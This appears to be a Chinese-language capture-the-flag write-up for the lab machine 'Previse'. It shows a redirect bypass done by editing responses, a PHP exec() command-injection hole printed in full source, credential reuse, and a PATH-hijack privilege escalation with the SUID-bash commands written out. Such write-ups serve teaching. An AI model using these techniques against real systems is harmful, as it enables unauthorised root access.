Linux/Previse

发布于:2025-06-25 ⋅ 阅读:(19) ⋅ 点赞:(0)

Previse

Enumeration

nmap

第一次扫描发现系统对外开放了22,80端口,端口详细信息如下

系统开放了22(ssh)和80(http),先从http服务开始探索

TCP/80

访问站点会跳转到/login.php,可以看到有关文件存储,页面最下方的m4lwhere可能是一个用户名

尝试了几个弱口令,并没有成功,没有什么其他的点了,尝试扫描目录,好久没用gobuster了,试试这个

gobuster dir -u http://10.10.11.104 -w /usr/share/wordlists/dirb/big.txt -x php

部分扫描结果如下

一个一个看过去,最终发现了nav.php,访问该链接得到如下结果

Foothold

Execution After Redirect (EAR)

系统易受到重定向后执行漏洞,点击Create Account,页面进行了302跳转,跳转至login页面

但是如果使用burpsuite截断请求包,将响应的302 Found改为200 Ok,不遵循重定向要求后可以访问accounts.php

同样的,填写注册用户密码,然后点击create user后,修改响应请求302为200,发现提示用户创建成功

使用刚才注册的用户名和密码成功登录系统

PHP exec() Injection

点击files,发现了网站的备份代码文件

在这些源代码中搜索一些php危险函数

grep -R -e system -e exec -e passthru -e '`' -e popen -e proc_open *

通过简单的搜索,发现在logs.php中使用了危险函数exec,它调用了python并且通过$_POST['delim']的POST参数执行了log_process.py文件

<?php
session_start();
if (!isset($_SESSION['user'])) {
    header('Location: login.php');
    exit;
}
?>

<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
    header('Location: login.php');
    exit;
}

/
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";    

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    ob_clean(); // Discard data in the output buffer
    flush(); // Flush system headers
    readfile($filepath);
    die();
} else {
    http_response_code(404);
    die();
} 
?>

点击management menu,选择log data,点击submit请求,该请求包如图所示

正常发送请求会下载日志文件。delim的参数最后经过了echo,尝试用分号隔开两个命令,在分号后添加反弹shell脚本,然后在监听端能获取到shell

Lateral Movement

目前shell属于www-data,刚刚在查看代码时,还发现在config.php文件中有mysql的密码

使用该密码登录mysql数据库

然后在accounts表中发现密码hash,该值使用一个表情作为盐的一部分

在accounts.php中发现加密方法

然后使用john成功获取到密码

Privilege escalation

使用该密码可以通过ssh连接系统,执行sudo -l可以知道用户可以以root用户身份执行access_backup.sh文件

该脚本内容如下

脚本使用gzip对文件进行了压缩,但是在使用gzip时并没有使用绝对路径,可以劫持PATH

cd /tmp
export PATH=/tmp:$PATH
echo -ne '#!/bin/bash\ncp /bin/bash /tmp/bash\nchmod 4755 /tmp/bash' > gzip
chmod +x gzip
sudo /opt/scripts/access_backup.sh

在tmp目录下设置路径作为环境变量,在gzip中写入脚本,为gzip添加执行权限,然后使用sudo执行access_backup.sh脚本,最后执行/tmp/bash -p即可

主要是路径劫持,gzip脚本可以写很多内容,可以写反弹shell,然后用nc去连接,也可以写入ssh私钥,然后通过ssh去连接等等